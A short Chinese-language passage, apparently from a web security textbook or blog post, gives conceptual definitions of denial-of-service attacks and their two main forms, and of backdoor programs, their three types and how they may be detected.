DoS 攻击(Denial of Service attack)是一种让运行中的服务呈停止状 态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS 攻击的对 象不仅限于 Web 网站,还包括网络设备及服务器等。
主要有以下两种 DoS 攻击方式。
- 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态。
- 通过攻击安全漏洞使服务停止。
其中,集中利用访问请求的 DoS 攻击,单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求,何为攻击请求,因此很难防止 DoS 攻击。

后门程序
后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使 用受限功能。利用后门程序就能够使用原本受限制的功能
通常的后门程序分为以下 3 种类型。
- 开发阶段作为 Debug 调用的后门程序
- 开发者为了自身利益植入的后门程序
- 攻击者通过某种方法设置的后门程序
可通过监视进程和通信的状态发现被植入的后门程序。但设定在 Web 应用中的后门程序,由于和正常使用时区别不大,通常很难发现。
1905

被折叠的 条评论
为什么被折叠?



